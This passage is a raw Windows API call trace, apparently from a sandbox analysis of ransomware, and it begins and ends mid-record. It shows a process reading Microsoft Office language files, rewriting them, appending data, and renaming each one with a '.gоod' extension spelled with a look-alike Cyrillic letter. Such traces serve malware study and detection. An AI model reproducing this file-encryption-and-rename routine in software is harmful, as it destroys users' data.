lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", lpFilePart=0x0) returned 0x41 [0194.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0194.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.073] GetFileType (hFile=0x7c8) returned 0x1 [0194.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0194.073] GetFileType (hFile=0x7c8) returned 0x1 [0194.073] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x2da00 [0194.073] WriteFile (in: hFile=0x7c8, lpBuffer=0x36894a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x36894a0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0194.124] CloseHandle (hObject=0x7c8) returned 1 [0194.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", lpFilePart=0x0) returned 0x41 [0194.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0194.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.124] GetFileType (hFile=0x7c8) returned 0x1 [0194.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0194.125] GetFileType (hFile=0x7c8) returned 0x1 [0194.125] ReadFile (in: hFile=0x7c8, lpBuffer=0x3507a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3507a70*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0194.167] CloseHandle (hObject=0x7c8) returned 1 [0194.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", lpFilePart=0x0) returned 0x41 [0194.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0194.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.678] GetFileType (hFile=0x834) returned 0x1 [0194.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0194.715] GetFileType (hFile=0x834) returned 0x1 [0194.807] WriteFile (in: hFile=0x834, lpBuffer=0x34ecd60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x34ecd60*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0194.807] CloseHandle (hObject=0x834) returned 1 [0194.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA", lpFilePart=0x0) returned 0x41 [0194.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.gоod", lpFilePart=0x0) returned 0x46 [0194.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0194.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7052c283, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2da10)) returned 1 [0194.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0194.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gr8galry.gra.gоod")) returned 1 [0194.855] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", lpFilePart=0x0) returned 0x3e [0194.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0194.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), fInfoLevelId=0x0, lpFileInformation=0x3564798 | out: lpFileInformation=0x3564798*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94d80)) returned 1 [0194.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0194.856] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", lpFilePart=0x0) returned 0x3e [0194.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0194.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.856] GetFileType (hFile=0x834) returned 0x1 [0194.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0194.857] GetFileType (hFile=0x834) returned 0x1 [0194.857] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0194.857] ReadFile (in: hFile=0x834, lpBuffer=0x3564b80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3564b80*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0194.858] CloseHandle (hObject=0x834) returned 1 [0194.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", lpFilePart=0x0) returned 0x3e [0194.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0194.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.859] GetFileType (hFile=0x834) returned 0x1 [0194.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0194.859] GetFileType (hFile=0x834) returned 0x1 [0194.859] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x94d80 [0194.859] WriteFile (in: hFile=0x834, lpBuffer=0x3565f70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3565f70*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0194.860] CloseHandle (hObject=0x834) returned 1 [0194.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", lpFilePart=0x0) returned 0x3e [0194.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0194.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.861] GetFileType (hFile=0x834) returned 0x1 [0194.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0194.861] GetFileType (hFile=0x834) returned 0x1 [0194.861] ReadFile (in: hFile=0x834, lpBuffer=0x35682b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x35682b8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0195.656] CloseHandle (hObject=0x834) returned 1 [0195.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", lpFilePart=0x0) returned 0x3e [0195.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0195.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0195.657] GetFileType (hFile=0x834) returned 0x1 [0195.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0195.657] GetFileType (hFile=0x834) returned 0x1 [0195.657] WriteFile (in: hFile=0x834, lpBuffer=0x35652c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x35652c8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0195.657] CloseHandle (hObject=0x834) returned 1 [0195.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS", lpFilePart=0x0) returned 0x3e [0195.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.gоod", lpFilePart=0x0) returned 0x43 [0195.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0195.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x70d5e0ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x94d90)) returned 1 [0195.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0195.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph.hxs.gоod")) returned 1 [0195.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", lpFilePart=0x0) returned 0x3f [0195.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0195.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), fInfoLevelId=0x0, lpFileInformation=0x358e9e0 | out: lpFileInformation=0x358e9e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7cc)) returned 1 [0195.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0195.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", lpFilePart=0x0) returned 0x3f [0195.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0195.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0195.660] GetFileType (hFile=0x834) returned 0x1 [0195.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0195.660] GetFileType (hFile=0x834) returned 0x1 [0195.660] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0195.660] ReadFile (in: hFile=0x834, lpBuffer=0x358edc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x358edc8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0195.662] CloseHandle (hObject=0x834) returned 1 [0195.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", lpFilePart=0x0) returned 0x3f [0195.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0195.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0195.663] GetFileType (hFile=0x834) returned 0x1 [0195.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0195.663] GetFileType (hFile=0x834) returned 0x1 [0195.663] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1f7cc [0195.663] WriteFile (in: hFile=0x834, lpBuffer=0x3590148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3590148*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0195.664] CloseHandle (hObject=0x834) returned 1 [0195.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", lpFilePart=0x0) returned 0x3f [0195.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0195.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0195.664] GetFileType (hFile=0x834) returned 0x1 [0195.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0195.664] GetFileType (hFile=0x834) returned 0x1 [0195.664] ReadFile (in: hFile=0x834, lpBuffer=0x3592430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3592430*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0196.190] CloseHandle (hObject=0x834) returned 1 [0196.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", lpFilePart=0x0) returned 0x3f [0196.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0196.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.191] GetFileType (hFile=0x834) returned 0x1 [0196.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0196.191] GetFileType (hFile=0x834) returned 0x1 [0196.191] WriteFile (in: hFile=0x834, lpBuffer=0x3567eb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3567eb0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0196.191] CloseHandle (hObject=0x834) returned 1 [0196.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS", lpFilePart=0x0) returned 0x3f [0196.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.gоod", lpFilePart=0x0) returned 0x44 [0196.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0196.191] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7126f2ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f7dc)) returned 1 [0196.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0196.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove.hxs.gоod")) returned 1 [0196.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", lpFilePart=0x0) returned 0x47 [0196.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0196.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), fInfoLevelId=0x0, lpFileInformation=0x369c018 | out: lpFileInformation=0x369c018*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8)) returned 1 [0196.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0196.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", lpFilePart=0x0) returned 0x47 [0196.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0196.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.193] GetFileType (hFile=0x834) returned 0x1 [0196.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0196.193] GetFileType (hFile=0x834) returned 0x1 [0196.193] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0196.193] ReadFile (in: hFile=0x834, lpBuffer=0x369c440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x369c440*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0196.195] CloseHandle (hObject=0x834) returned 1 [0196.195] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", lpFilePart=0x0) returned 0x47 [0196.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0196.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0196.195] GetFileType (hFile=0x834) returned 0x1 [0196.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0196.195] GetFileType (hFile=0x834) returned 0x1 [0196.195] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x2bc8 [0196.195] WriteFile (in: hFile=0x834, lpBuffer=0x369d730*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x369d730*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0196.196] CloseHandle (hObject=0x834) returned 1 [0196.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", lpFilePart=0x0) returned 0x47 [0196.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0196.197] CreateFileW 